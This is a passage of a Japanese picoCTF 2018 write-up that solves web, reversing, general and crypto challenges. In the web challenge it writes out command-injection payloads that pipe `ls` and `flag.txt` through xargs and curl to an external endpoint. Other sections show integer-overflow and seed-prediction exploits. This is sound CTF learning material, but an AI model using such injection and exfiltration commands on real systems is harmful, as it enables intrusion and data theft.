ここで得られた値を Share code として入力してdecryptしてもらいます。
Choices: E[n]crypt and store file D[e]crypt file L[i]st files E[x]it Please choose: e Share code? DmM/rbFkSHkC/ntMcvrNAVo5P6vZYUUiB+A+BmQ= Data: picoCTF{alw4ys_4lways_Always_check_int3grity_6ce3f91c}
Flagとれました٩(๑❛ᴗ❛๑)۶
ホストとの接続・対話も全部スクリプトで書いたほうがかっこいいんでしょうけど、解ければよし。
[Web] fancy-alive-monitoring (400pt)
One of my school mate developed an alive monitoring tool. Can you get a flag from http://2018shell.picoctf.com:56517 (link)?
リンク先に飛んでみたが、落ちてる様子。
→ 2019/05/23 復活しているようなのでやってみました!
Hints
This application uses the validation check both on the client side and on the server side, but the server check seems to be inappropriate.
You should be able to listen through the shell on the server.
リンク先に飛んでみると、こんなページ。
index.php source code というリンクがあったので飛んでみると、コードが落ちています。
<html> <head> <title>Monitoring Tool</title> <script> function check(){ ip = document.getElementById("ip").value; chk = ip.match(/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/); if (!chk) { alert("Wrong IP format."); return false; } else { document.getElementById("monitor").submit(); } } </script> </head> <body> <h1>Monitoring Tool ver 0.1</h1> <form id="monitor" action="index.php" method="post" onsubmit="return false;"> <p> Input IP address of the target host <input id="ip" name="ip" type="text"> </p> <input type="button" value="Go!" onclick="check()"> </form> <hr> <?php $ip = $_POST["ip"]; if ($ip) { // super fancy regex check! if (preg_match('/^(([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).){3}([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])/',$ip)) { exec('ping -c 1 '.$ip, $cmd_result); foreach($cmd_result as $str){ if (strpos($str, '100% packet loss') !== false){ printf("<h3>Target is NOT alive.</h3>"); break; } else if (strpos($str, ', 0% packet loss') !== false){ printf("<h3>Target is alive.</h3>"); break; } } } else { echo "Wrong IP Format."; } } ?> <hr> <a href="index.txt">index.php source code</a> </body> </html>
入力したIPアドレスにpingを送り、生きているかどうかを表示するサービスのようです。
ヒントにある通り、フォームに送る ip アドレスのvalidationがクライアントサイド(javascript)とサーバーサイド(php)で行われています。
今回はphp側のチェック (super fancy regex check! っていう怪しいやつですね) が不適切なため、これまた脆弱性の温床になりがちな exec
コマンドに ip アドレスでない文字列を送れるようになっています。
ヒントの言葉を信じるならば、これを利用してshellを取り、おそらく近くに落ちてるflag.txt
的なファイルを覗いてflagをgetするっぽい。
ここでphp側の super fancy regex check! のチェックを見てみると、最初はちゃんと ^
から始まっているのに、最後の終端を確認する $
が抜けているため、ipアドレスから始まっていれば後ろに任意の文字列をくっつけてもvalidationを通ってしまうことがわかります。
ちなみに、クライアントサイドのチェックはブラウザの開発者機能やツールでoffってもいいし、スクリプトやcurlコマンドで直接サイトにアクセスしてデータを送ってしまえば回避できます。
今回はcurlでやってみました。まずは手始めに、ただの正しいipアドレスで、しかもAliveが返って来そうなリクエストを投げてみます。
$ curl -X POST http://2018shell.picoctf.com:56517 --data "ip=127.0.0.1" <html> (中略) <h3>Target is alive.</h3><hr> (中略) </html>
無事、Target is alive
が返ってきました。
次に、後ろにパイプでコマンドをつなげてみます。が、結果を表示してくれるわけではないので、出力をどこかに送りつける必要があります。専用のホストを持っていれば良いのですが、持っていない場合はこんな感じのサービスで一時的にendpointを作ってしまいます。このサービスだと、作ったendpointに来たリクエストをブラウザから確認できます。便利!!
今回はhttps://pico2018kusuwada.free.beeceptor.com
のエンドポイントを作成しました。面倒なので何の設定もmockもなしで https://pico2018kusuwada.free.beeceptor.com/my/api/path
を使っちゃいます。
POSTリクエストのdataの組み立てはざっくりこんな感じ。
ip=127.0.0.1; ls | xargs -n1 curl -X POST '{your-url}' --data
validationを通すためのipアドレスに、ls
コマンドをくっつけ、この出力を xargs
で次のcurl
コマンドのの引数として指定します。xargs
、便利なコマンド・・・。
※コマンドA | xargs コマンドB
とすると、コマンドAの出力がコマンドBの引数に指定されます。
ということで、curl
コマンドで自分で用意したendpointに ls
コマンドの出力を送りつけます。
curl -X POST http://2018shell.picoctf.com:56517 --data "ip=127.0.0.1; ls | xargs -n1 curl -X POST 'https://pico2018kusuwada.free.beeceptor.com/my/api/path' --data"
実行結果
flag.txt index.php index.txt xinet_starup.sh
無事flag.txtが落ちてます。あとは先程のls
コマンド部分を書き換えて cat flag.txt
にしてやるだけ。
curl -X POST http://2018shell.picoctf.com:56517 --data "ip=127.0.0.1; cat flag.txt | xargs -n1 curl -X POST 'https://pico2018kusuwada.free.beeceptor.com/my/api/path' --data"
実行結果(時系列逆順)
[Reversing] keygen-me-1 (400pt)
Can you generate a valid product key for the validation program in /problems/keygen-me-1_3_a2370158b7b72b3863212502340f2c32
picoCTF の shell server の指定path上に、activate
ファイルと flag.txt
ファイルが落ちているので、最終的に shell server 上で実行する。
実行してみると
$ ./activate Usage: ./activate <PRODUCT_KEY> # ./activate AAA Please Provide a VALID 16 byte Product Key. # ./activate AAAAAAAAAAAAAAAA INVALID Product Key.
とのことなので、16バイトのProductKeyを突き止めて入力する必要がありそう。
今回はソースコードの配布は特になし。
早速アセンブラを確認します。今回もradare2を使っています。まずはmain。
[0xf7fc70b0]> s main [0x0804881d]> pdf / (fcn) main 195 | main (int argc, char **argv, char **envp); | ; var int local_8h @ ebp-0x8 | ; arg int arg_4h @ esp+0x4 | ; DATA XREF from entry0 (0x8048517) | 0x0804881d 8d4c2404 lea ecx, dword [arg_4h] ; 4 | 0x08048821 83e4f0 and esp, 0xfffffff0 | 0x08048824 ff71fc push dword [ecx - 4] | 0x08048827 55 push ebp | 0x08048828 89e5 mov ebp, esp | 0x0804882a 53 push ebx | 0x0804882b 51 push ecx | 0x0804882c 89cb mov ebx, ecx | 0x0804882e a13ca00408 mov eax, dword [obj.stdout__GLIBC_2.0] ; obj.__TMC_END ; [0x804a03c:4]=0 | 0x08048833 6a00 push 0 | 0x08048835 6a02 push 2 ; 2 | 0x08048837 6a00 push 0 | 0x08048839 50 push eax | 0x0804883a e891fcffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size) | 0x0804883f 83c410 add esp, 0x10 | 0x08048842 833b01 cmp dword [ebx], 1 | ,=< 0x08048845 7f17 jg 0x804885e | | 0x08048847 83ec0c sub esp, 0xc | | 0x0804884a 68a0890408 push str.Usage:_._activate__PRODUCT_KEY ; 0x80489a0 ; "Usage: ./activate <PRODUCT_KEY>" | | 0x0804884f e83cfcffff call sym.imp.puts ; int puts(const char *s) | | 0x08048854 83c410 add esp, 0x10 | | 0x08048857 b8ffffffff mov eax, 0xffffffff ; -1 | ,==< 0x0804885c eb78 jmp 0x80488d6 | |`-> 0x0804885e 8b4304 mov eax, dword [ebx + 4] ; [0x4:4]=-1 ; 4 | | 0x08048861 83c004 add eax, 4 | | 0x08048864 8b00 mov eax, dword [eax] | | 0x08048866 83ec0c sub esp, 0xc | | 0x08048869 50 push eax | | 0x0804886a e89bfeffff call sym.check_valid_key | | 0x0804886f 83c410 add esp, 0x10 | | 0x08048872 84c0 test al, al | |,=< 0x08048874 7517 jne 0x804888d | || 0x08048876 83ec0c sub esp, 0xc | || 0x08048879 68c0890408 push str.Please_Provide_a_VALID_16_byte_Product_Key. ; 0x80489c0 ; "Please Provide a VALID 16 byte Product Key." | || 0x0804887e e80dfcffff call sym.imp.puts ; int puts(const char *s) | || 0x08048883 83c410 add esp, 0x10 | || 0x08048886 b8ffffffff mov eax, 0xffffffff ; -1 | ,===< 0x0804888b eb49 jmp 0x80488d6 | ||`-> 0x0804888d 8b4304 mov eax, dword [ebx + 4] ; [0x4:4]=-1 ; 4 | || 0x08048890 83c004 add eax, 4 | || 0x08048893 8b00 mov eax, dword [eax] | || 0x08048895 83ec0c sub esp, 0xc | || 0x08048898 50 push eax | || 0x08048899 e8d3feffff call sym.validate_key | || 0x0804889e 83c410 add esp, 0x10 | || 0x080488a1 84c0 test al, al | ||,=< 0x080488a3 7517 jne 0x80488bc | ||| 0x080488a5 83ec0c sub esp, 0xc | ||| 0x080488a8 68ec890408 push str.INVALID_Product_Key. ; 0x80489ec ; "INVALID Product Key." | ||| 0x080488ad e8defbffff call sym.imp.puts ; int puts(const char *s) | ||| 0x080488b2 83c410 add esp, 0x10 | ||| 0x080488b5 b8ffffffff mov eax, 0xffffffff ; -1 | ,====< 0x080488ba eb1a jmp 0x80488d6 | |||`-> 0x080488bc 83ec0c sub esp, 0xc | ||| 0x080488bf 68048a0408 push str.Product_Activated_Successfully: ; 0x8048a04 ; "Product Activated Successfully: " | ||| 0x080488c4 e887fbffff call sym.imp.printf ; int printf(const char *format) | ||| 0x080488c9 83c410 add esp, 0x10 | ||| 0x080488cc e82afdffff call sym.print_flag | ||| 0x080488d1 b800000000 mov eax, 0 | ||| ; CODE XREFS from main (0x804885c, 0x804888b, 0x80488ba) | ```--> 0x080488d6 8d65f8 lea esp, dword [local_8h] | 0x080488d9 59 pop ecx | 0x080488da 5b pop ebx | 0x080488db 5d pop ebp | 0x080488dc 8d61fc lea esp, dword [ecx - 4] \ 0x080488df c3 ret
途中で呼ばれている、keyの検証をしているっぽい関数 validate_key
を見ます。
[0x0804881d]> s sym.validate_key [0x08048771]> pdf / (fcn) sym.validate_key 172 | sym.validate_key (int arg_8h); | ; var int local_14h @ ebp-0x14 | ; var int local_10h @ ebp-0x10 | ; var int local_ch @ ebp-0xc | ; var int local_4h @ ebp-0x4 | ; arg int arg_8h @ ebp+0x8 | ; CALL XREF from main (0x8048899) | 0x08048771 55 push ebp | 0x08048772 89e5 mov ebp, esp | 0x08048774 53 push ebx | 0x08048775 83ec14 sub esp, 0x14 | 0x08048778 83ec0c sub esp, 0xc | 0x0804877b ff7508 push dword [arg_8h] | 0x0804877e e82dfdffff call sym.imp.strlen ; size_t strlen(const char *s) | 0x08048783 83c410 add esp, 0x10 | 0x08048786 8945f4 mov dword [local_ch], eax | 0x08048789 c745ec000000. mov dword [local_14h], 0 | 0x08048790 c745f0000000. mov dword [local_10h], 0 | ,=< 0x08048797 eb30 jmp 0x80487c9 | .--> 0x08048799 8b55f0 mov edx, dword [local_10h] | :| 0x0804879c 8b4508 mov eax, dword [arg_8h] ; [0x8:4]=-1 ; 8 | :| 0x0804879f 01d0 add eax, edx | :| 0x080487a1 0fb600 movzx eax, byte [eax] | :| 0x080487a4 0fbec0 movsx eax, al | :| 0x080487a7 83ec0c sub esp, 0xc | :| 0x080487aa 50 push eax | :| 0x080487ab e808ffffff call sym.ord | :| 0x080487b0 83c410 add esp, 0x10 | :| 0x080487b3 0fbec0 movsx eax, al | :| 0x080487b6 8d5001 lea edx, dword [eax + 1] ; 1 | :| 0x080487b9 8b45f0 mov eax, dword [local_10h] | :| 0x080487bc 83c001 add eax, 1 | :| 0x080487bf 0fafc2 imul eax, edx | :| 0x080487c2 0145ec add dword [local_14h], eax | :| 0x080487c5 8345f001 add dword [local_10h], 1 | :| ; CODE XREF from sym.validate_key (0x8048797) | :`-> 0x080487c9 8b45f4 mov eax, dword [local_ch] | : 0x080487cc 83e801 sub eax, 1 | : 0x080487cf 3b45f0 cmp eax, dword [local_10h] | `==< 0x080487d2 7fc5 jg 0x8048799 | 0x080487d4 8b4dec mov ecx, dword [local_14h] | 0x080487d7 ba398ee338 mov edx, 0x38e38e39 | 0x080487dc 89c8 mov eax, ecx | 0x080487de f7e2 mul edx | 0x080487e0 89d3 mov ebx, edx | 0x080487e2 c1eb03 shr ebx, 3 | 0x080487e5 89d8 mov eax, ebx | 0x080487e7 c1e003 shl eax, 3 | 0x080487ea 01d8 add eax, ebx | 0x080487ec c1e002 shl eax, 2 | 0x080487ef 29c1 sub ecx, eax | 0x080487f1 89cb mov ebx, ecx | 0x080487f3 8b45f4 mov eax, dword [local_ch] | 0x080487f6 8d50ff lea edx, dword [eax - 1] | 0x080487f9 8b4508 mov eax, dword [arg_8h] ; [0x8:4]=-1 ; 8 | 0x080487fc 01d0 add eax, edx | 0x080487fe 0fb600 movzx eax, byte [eax] | 0x08048801 0fbec0 movsx eax, al | 0x08048804 83ec0c sub esp, 0xc | 0x08048807 50 push eax | 0x08048808 e8abfeffff call sym.ord | 0x0804880d 83c410 add esp, 0x10 | 0x08048810 0fbec0 movsx eax, al | 0x08048813 39c3 cmp ebx, eax | 0x08048815 0f94c0 sete al | 0x08048818 8b5dfc mov ebx, dword [local_4h] | 0x0804881b c9 leave \ 0x0804881c c3 ret
この中で呼ばれている ord
関数も見る必要がありそうです。
[0x080484b0]> s sym.ord [0x080486b8]> pdf / (fcn) sym.ord 82 | sym.ord (int arg_8h); | ; var int local_ch @ ebp-0xc | ; arg int arg_8h @ ebp+0x8 | ; CALL XREFS from sym.validate_key (0x80487ab, 0x8048808) | 0x080486b8 55 push ebp | 0x080486b9 89e5 mov ebp, esp | 0x080486bb 83ec18 sub esp, 0x18 | 0x080486be 8b4508 mov eax, dword [arg_8h] ; [0x8:4]=-1 ; 8 | 0x080486c1 8845f4 mov byte [local_ch], al | 0x080486c4 807df42f cmp byte [local_ch], 0x2f ; '/' | ,=< 0x080486c8 7e0f jle 0x80486d9 | | 0x080486ca 807df439 cmp byte [local_ch], 0x39 ; '9' | ,==< 0x080486ce 7f09 jg 0x80486d9 | || 0x080486d0 0fb645f4 movzx eax, byte [local_ch] | || 0x080486d4 83e830 sub eax, 0x30 ; '0' | ,===< 0x080486d7 eb2f jmp 0x8048708 | |``-> 0x080486d9 807df440 cmp byte [local_ch], 0x40 ; '@' | | ,=< 0x080486dd 7e0f jle 0x80486ee | | | 0x080486df 807df45a cmp byte [local_ch], 0x5a ; 'Z' | |,==< 0x080486e3 7f09 jg 0x80486ee | ||| 0x080486e5 0fb645f4 movzx eax, byte [local_ch] | ||| 0x080486e9 83e837 sub eax, 0x37 ; '7' | ,====< 0x080486ec eb1a jmp 0x8048708 | ||``-> 0x080486ee 83ec0c sub esp, 0xc | || 0x080486f1 6884890408 push str.Found_Invalid_Character ; 0x8048984 ; "Found Invalid Character!" | || 0x080486f6 e895fdffff call sym.imp.puts ; int puts(const char *s) | || 0x080486fb 83c410 add esp, 0x10 | || 0x080486fe 83ec0c sub esp, 0xc | || 0x08048701 6a00 push 0 | || 0x08048703 e898fdffff call sym.imp.exit ; void exit(int status) | || ; CODE XREFS from sym.ord (0x80486d7, 0x80486ec) | ``---> 0x08048708 c9 leave \ 0x08048709 c3 ret
この処理を見ると、入力値が数値だった場合は 0x30('0')、アルファベットだった場合は 0x37('7') を引いて返却、その他の場合は異常終了、という処理のようです。
validate_key
関数の最後の方、
| 0x08048813 39c3 cmp ebx, eax | 0x08048815 0f94c0 sete al
の比較で ebx == eax なら flagが表示されそうです。
validate_key
と ord
関数を一行ずつ解読してpythonに起こしました。
…最終的にできたんだけども、この解き方で合ってるのかな?めっちゃ時間かかりました…。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- local_14h = 0 # ebp-0x14 local_10h = 0 # ebp-0x10 local_ch = 16 # ebp-0xc arg_8h = "0000000000000000" # ebp+0x8 入力 def sym_ord(arg): if arg.isdigit(): return ord(arg) - ord('0') elif arg.isalpha(): return ord(arg) - ord('7') else: raise Exception while (local_ch - 1 > local_10h): edx = sym_ord(arg_8h[local_10h]) + 1 local_10h += 1 local_14h += local_10h * edx print(local_14h) ecx = local_14h edx = 0x38e38e39 eax = ecx * edx eax = int(eax >> 32) # 32 bitに収めるため ebx = eax >> 3 eax = ebx << 3 eax += ebx eax = eax << 2 ecx -= eax ebx = ecx eax = sym_ord(arg_8h[local_ch - 1]) print('ebx: ' + str(ebx) + ', eax: ' + str(eax))
入力文字列16個のうち、最初の15個をいじくり回して ebx
を求め、これと最後の1文字で計算される eax
を比較します。
まずは 0000000000000000
を入れてみた実行結果
$ python to_python.py ebx: 12, eax: 0
0000000000000000
では、eax = 0 になってしまいますね。最後の文字をいじって 12 になるように調整すれば良いので、最後にはC
を入れてあげます。
$ ./activate 000000000000000C Product Activated Successfully: picoCTF{k3yg3n5_4r3_s0_s1mp13_749501403}
なんとか出た〜!
これ、アセンブラを読みながらコメント入れていったメモをwrite-upに入れたほうが良いような気がしますが、めっちゃ長くなるので割愛。
もっと効率の良い解き方があるのかなー?それともアセンブラが読める人は普通のプログラムぐらいすぐにアセンブラの状態で挙動がわかるんだろうか・・・(ಠ_ಠ) 少なくとも競技中にこの問題を解ける気がしないぜ・・・。
[General] store (400pt)
We started a little store, can you buy the flag? Source. Connect with 2018shell.picoctf.com 10740.
DLできるのは下記2つのファイル。
$ file store store: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=03f67ed10ead328db2e2614c71a5723bb0dcfb45, not stripped
#include <stdio.h> #include <stdlib.h> int main() { int con; con = 0; int account_balance = 1100; while(con == 0){ printf("Welcome to the Store App V1.0\n"); printf("World's Most Secure Purchasing App\n"); printf("\n[1] Check Account Balance\n"); printf("\n[2] Buy Stuff\n"); printf("\n[3] Exit\n"); int menu; printf("\n Enter a menu selection\n"); fflush(stdin); scanf("%d", &menu); if(menu == 1){ printf("\n\n\n Balance: %d \n\n\n", account_balance); } else if(menu == 2){ printf("Current Auctions\n"); printf("[1] I Can't Believe its not a Flag!\n"); printf("[2] Real Flag\n"); int auction_choice; fflush(stdin); scanf("%d", &auction_choice); if(auction_choice == 1){ printf("Imitation Flags cost 1000 each, how many would you like?\n"); int number_flags = 0; fflush(stdin); scanf("%d", &number_flags); if(number_flags > 0){ int total_cost = 0; total_cost = 1000*number_flags; printf("\nYour total cost is: %d\n", total_cost); if(total_cost <= account_balance){ account_balance = account_balance - total_cost; printf("\nYour new balance: %d\n\n", account_balance); } else{ printf("Not enough funds\n"); } } } else if(auction_choice == 2){ printf("A genuine Flag costs 100000 dollars, and we only have 1 in stock\n"); printf("Enter 1 to purchase"); int bid = 0; fflush(stdin); scanf("%d", &bid); if(bid == 1){ if(account_balance > 100000){ printf("YOUR FLAG IS:\n"); } else{ printf("\nNot enough funds for transaction\n\n\n"); }} } } else{ con = 1; } } return 0; }
ソース割と長め。解けている人が多い。
途中妙な改行が結構あるのが気になるけども、とりあえず無視。
指定されたホストに接続して動作を確認してみた感じ、どうやらFlagを購入したいけど初期状態だとお金が足りないっぽい。
最初のメニューは
- 残高確認
- 購入
- 終了
残高の初期値は一律 1100
ドル。
2.の購入を選ぶと、下記メニューが。
- これがflagじゃないなんて信じられない!
- 本物のflag
どういうことだ…。
1.を選択すると、"Immitation Flag" が 1000
ドルで買えるらしい。何個購入するか選択できる。所持金が合計金額より多ければ購入でき、更に所持金から合計金額が引かれる。
2.を選択すると、"genuine Flag" は 100000
ドルもかかるらしい。所持金が100000以上あればここで購入でき、プログラムには出てこないけどflagを教えてくれそう。
見た感じ、お金が増える要素がない。
ので、なんとか所持金 (account_balance
) を増やさないといけない。すぐに考えつくのは、桁あふれを起こさせて、どこかで購入額をマイナスに反転させること。
account_balance
, total_cost
はintなので、c言語のintの範囲。
-2147483648 〜 2147483647
2147483647
を上回る数は扱えないので、それ以上の値はひっくり返ってマイナスになるはず。マイナスになったら、購入時の所持金判定も通るし、購入後にお金が増えるはず。ホクホク。
number_flags
は正の数でないとだめなので、1~2147483647
の範囲内で入力する。
Welcome to the Store App V1.0 World's Most Secure Purchasing App [1] Check Account Balance [2] Buy Stuff [3] Exit Enter a menu selection 2 Current Auctions [1] I Can't Believe its not a Flag! [2] Real Flag 1 Imitation Flags cost 1000 each, how many would you like? 1000000000 Your total cost is: -727379968 Your new balance: 727380068 Welcome to the Store App V1.0 World's Most Secure Purchasing App [1] Check Account Balance [2] Buy Stuff [3] Exit Enter a menu selection 1 Balance: 727380068 Welcome to the Store App V1.0 World's Most Secure Purchasing App [1] Check Account Balance [2] Buy Stuff [3] Exit Enter a menu selection 2 Current Auctions [1] I Can't Believe its not a Flag! [2] Real Flag 2 A genuine Flag costs 100000 dollars, and we only have 1 in stock Enter 1 to purchase1 YOUR FLAG IS: picoCTF{numb3r3_4r3nt_s4f3_03054e5d}
うむ。これも400ptももらえるのか。点数稼ぐなら、Generalだけでも全部見るのが良さそう。
[General] roulette (350pt)
上の問題 store
を解いたら出てきた問題。350pt問題ですがここに。
This Online Roulette Service is in Beta. Can you find a way to win $1,000,000,000 and get the flag? Source. Connect with nc 2018shell.picoctf.com 21444
DLできるファイルは下記の2つ。今度はルーレット。
$ file roulette roulette: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=eb658ac62266f7d00a051049ab3c08415ecfb2f0, not stripped
#include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <time.h> #include <unistd.h> #include <limits.h> #define MAX_NUM_LEN 12 #define HOTSTREAK 3 #define MAX_WINS 16 #define ONE_BILLION 1000000000 #define ROULETTE_SIZE 36 #define ROULETTE_SPINS 128 #define ROULETTE_SLOWS 16 #define NUM_WIN_MSGS 10 #define NUM_LOSE_MSGS 5 long cash = 0; long wins = 0; int is_digit(char c) { return '0' <= c && c <= '9'; } long get_long() { printf("> "); uint64_t l = 0; char c = 0; while(!is_digit(c)) c = getchar(); while(is_digit(c)) { if(l >= LONG_MAX) { l = LONG_MAX; break; } l *= 10; l += c - '0'; c = getchar(); } while(c != '\n') c = getchar(); return l; } long get_rand() { long seed; FILE *f = fopen("/dev/urandom", "r"); fread(&seed, sizeof(seed), 1, f); fclose(f); seed = seed % 5000; if (seed < 0) seed = seed * -1; srand(seed); return seed; } long get_bet() { while(1) { puts("How much will you wager?"); printf("Current Balance: $%lu \t Current Wins: %lu\n", cash, wins); long bet = get_long(); if(bet <= cash) { return bet; } else { puts("You can't bet more than you have!"); } } } long get_choice() { while (1) { printf("Choose a number (1-%d)\n", ROULETTE_SIZE); long choice = get_long(); if (1 <= choice && choice <= ROULETTE_SIZE) { return choice; } else { puts("Please enter a valid choice."); } } } int print_flag() { char flag[48]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("Failed to open the flag file\n"); return -1; } fgets(flag, sizeof(flag), file); printf("%s", flag); return 0; } const char *win_msgs[NUM_WIN_MSGS] = { "Wow.. Nice One!", "You chose correct!", "Winner!", "Wow, you won!", "Alright, now you're cooking!", "Darn.. Here you go", "Darn, you got it right.", "You.. win.. this round...", "Congrats!", "You're not cheating are you?", }; const char *lose_msgs1[NUM_LOSE_MSGS] = { "WRONG", "Nice try..", "YOU LOSE", "Not this time..", "Better luck next time..." }; const char *lose_msgs2[NUM_LOSE_MSGS] = { "Just give up!", "It's over for you.", "Stop wasting your time.", "You're never gonna win", "If you keep it up, maybe you'll get the flag in 100000000000 years" }; void spin_roulette(long spin) { int n; puts(""); printf("Roulette : "); int i, j; int s = 12500; for (i = 0; i < ROULETTE_SPINS; i++) { n = printf("%d", (i%ROULETTE_SIZE)+1); usleep(s); for (j = 0; j < n; j++) { printf("\b \b"); } } for (i = ROULETTE_SPINS; i < (ROULETTE_SPINS+ROULETTE_SIZE); i++) { n = printf("%d", (i%ROULETTE_SIZE)+1); if (((i%ROULETTE_SIZE)+1) == spin) { for (j = 0; j < n; j++) { printf("\b \b"); } break; } usleep(s); for (j = 0; j < n; j++) { printf("\b \b"); } } for (int k = 0; k < ROULETTE_SIZE; k++) { n = printf("%d", ((i+k)%ROULETTE_SIZE)+1); s = 1.1*s; usleep(s); for (j = 0; j < n; j++) { printf("\b \b"); } } printf("%ld", spin); usleep(s); puts(""); puts(""); } void play_roulette(long choice, long bet) { printf("Spinning the Roulette for a chance to win $%lu!\n", 2*bet); long spin = (rand() % ROULETTE_SIZE)+1; spin_roulette(spin); if (spin == choice) { cash += 2*bet; puts(win_msgs[rand()%NUM_WIN_MSGS]); wins += 1; } else { puts(lose_msgs1[rand()%NUM_LOSE_MSGS]); puts(lose_msgs2[rand()%NUM_LOSE_MSGS]); } puts(""); } int main(int argc, char *argv[]) { setvbuf(stdout, NULL, _IONBF, 0); cash = get_rand(); puts("Welcome to ONLINE ROULETTE!"); printf("Here, have $%ld to start on the house! You'll lose it all anyways >:)\n", cash); puts(""); long bet; long choice; while(cash > 0) { bet = get_bet(); cash -= bet; choice = get_choice(); puts(""); play_roulette(choice, bet); if (wins >= MAX_WINS) { printf("Wow you won %lu times? Looks like its time for you cash you out.\n", wins); printf("Congrats you made $%lu. See you next time!\n", cash); exit(-1); } if(cash > ONE_BILLION) { printf("*** Current Balance: $%lu ***\n", cash); if (wins >= HOTSTREAK) { puts("Wow, I can't believe you did it.. You deserve this flag!"); print_flag(); exit(0); } else { puts("Wait a second... You're not even on a hotstreak! Get out of here cheater!"); exit(-1); } } } puts("Haha, lost all the money I gave you already? See ya later!"); return 0; }
遊んでみます。
$ nc 2018shell.picoctf.com 21444 Welcome to ONLINE ROULETTE! Here, have $1635 to start on the house! You'll lose it all anyways >:) How much will you wager? Current Balance: $1635 Current Wins: 0 > 100 Choose a number (1-36) > 4 Spinning the Roulette for a chance to win $200! Roulette : 22 WRONG You're never gonna win How much will you wager? Current Balance: $1535 Current Wins: 0
Roulette :
の欄が変わっていって、最終的に22に落ち着きました。外れたのでBetした金額が引かれています。シンプルなルーレットゲームのようです。
ソースを読んだ感じ、所持金の初期値は 0~5000 までのランダム。所持金 cash
が 0以下になると終了のようです。また、16回勝つと「おめでとう」と返金されて終了、Flagはもらえないようです。$1,000,000,000を達成すると、Flagがもらえるようです。単純に勝ち続けるだけでは駄目っぽいですね。さらに、1-billionを達成しても勝ちが3回未満だった場合は、チーターだと言われてFlag教えてもらえないみたいです。
こちらから操作できるのは、掛け金とbetする番号のみ。これらをなんとかしてflagを貰える条件を作ります。
まずは掛け金の操作。
get_long()
関数、なんだか無駄な処理になっていて怪しいget_long()
関数の2つ目のwhile, ここで数値を一桁ずつ取得しているが、LONG_MAX = 2147483647
を超えた場合は2147483647
が代入される- 上記、関数内のloacl変数
l
はuint64_t
なのに対し、関数の返り値はlong
なので、いい感じに uint64_t -> long 変換時に桁あふれして負の数に反転する範囲の入力を与えると、負の値が返る
ということで、main関数の L194 で負の値をbetにつっこみ、$1,000,000,000 を達成させることはできそう。
ただ、上記で触れたとおり 3回以上勝ってから上記の条件に持ち込まなければならないのですが、確率1/36なので3回勝つのも結構厳しい。
勝ち回数を管理する wins
を操作できるのは、 play_roulette()
関数の if (spin == choice)
の箇所だけ。ここの判定をクリアしたときのみwinの値が+1されます。ここの判定はlong同士の判定なので、型違いを利用して〜とか ==
の評価がこういう前提だと崩れるから〜というのが効かなさそう。
となると考えられるのは唯一つ、spin(出目)を予想することです。そういえば、ランダム関数が何度か使われていましたが、なんだか怪しいニオイがしました。
get_rand()
関数の中でseed
をsrand()
関数で設定しているが、このseedの値をそのまま返却して所持金の初期値としている- 同じseedで生成された
rand()
の系列は同じになるため、seedがわかればrand()
によって生成される値が予測可能になる
ということで、出目も予想することができそうです。
出目予想用のスクリプトはこちら
predict.c
#include <stdio.h> #include <stdint.h> #include <stdlib.h> #define SEED 709 // 書き換え #define ROULETTE_SIZE 36 int main(int argc, char *argv[]) { srand(SEED); for (int i=0; i<10; i++) { long spin = (rand() % ROULETTE_SIZE)+1; printf("%lu ",spin); } return 0; }
※ 上記ScriptはLinux上で動作させます
ではルーレットスタート!
$ nc 2018shell.picoctf.com 21444 Welcome to ONLINE ROULETTE! Here, have $4197 to start on the house! You'll lose it all anyways >:)
今回は所持金 $4197 からのStartです。
上記 predict.c
のスクリプトのSEED
を 4197 に書き換えてビルド&実行します。
# gcc predict.c # ./a.out 2 28 25 14 23 5 10 14 16 27
rand()
関数は出目(spin
)の決定時に1回、当たったらメッセージ出力時に1回、ハズレた場合は2回呼ばれるので、あたりを続ける場合は一つおきに spin
の値が回ってくるはずです。
ので、最初の3回は適当な金額をかけておいて、2, 25, 23
の順に出目を入力し、win
を 3 にします。
その後は適当な数にかけ、金額を 2147500000
付近の値を入力すると、フラグが貰えました!
最後の方の出力結果
Spinning the Roulette for a chance to win $200! Roulette : 23 Wow.. Nice One! How much will you wager? Current Balance: $4497 Current Wins: 3 > 2147500000 Choose a number (1-36) > 1 Spinning the Roulette for a chance to win $32704! Roulette : 10 Not this time.. It's over for you. *** Current Balance: $2147471793 *** Wow, I can't believe you did it.. You deserve this flag! picoCTF{1_h0p3_y0u_f0uNd_b0tH_bUg5_e9328e04}
[Crypto] Super Safe RSA 2 (425pt)
Wow, he made the exponent really large so the encryption MUST be safe, right?! Connect with nc 2018shell.picoctf.com 59549.
eがめっちゃ大きいので安全に違いない!とな。
指定のホストにつないでみます。
$ nc 2018shell.picoctf.com 59549 c: 23475482728878198780286526767560703523703092364535054112443942009232284875758176781656058777856393238300315722745884933345723917529499286555201553856983192799684389150038443768730389871603663306913822938572423838037194387896952392748493848674167739866957456773296132437671089779720267583249884842151922751606 n: 105801165867766220694188409463596454979100070368755671829576978960175669422452678351945251325754191753863393002622377882769060812503132462424164682923994916641186629797136720454026638852517920591669363405953344658832282479077512573066810565393518230410885923659136190192093416316788645920351059650280785346411 e: 83926411187078482616365913038191996963524045321886890022494444439059653726369034125495182578878849607215713444730908631635796030633082797870592937900265844429495104112674634481109852091454570806052350677099418640912974097688422140403138020211529638617430383342875276709163629432050827830424245692095000560897
ちなみにこの値、つなぐたびに変わっています。
超RSA暗号の勉強になるこのページ
のスライドp14より、「e
の値が大きすぎてはいけない」
ということで、Wiener's Attack
というのが有効そうです。
「e
の値が大きすぎてはいけない」→ Low Public Exponent Attack は何度か見ましたが、これは初めてかも?
そして、からの、下記記事のコンボ。
公開鍵暗号 - RSA - Wiener's Attack - ₍₍ (ง ˘ω˘ )ว ⁾⁾ < 暗号楽しいです
超暗号の勉強になるこのページ。
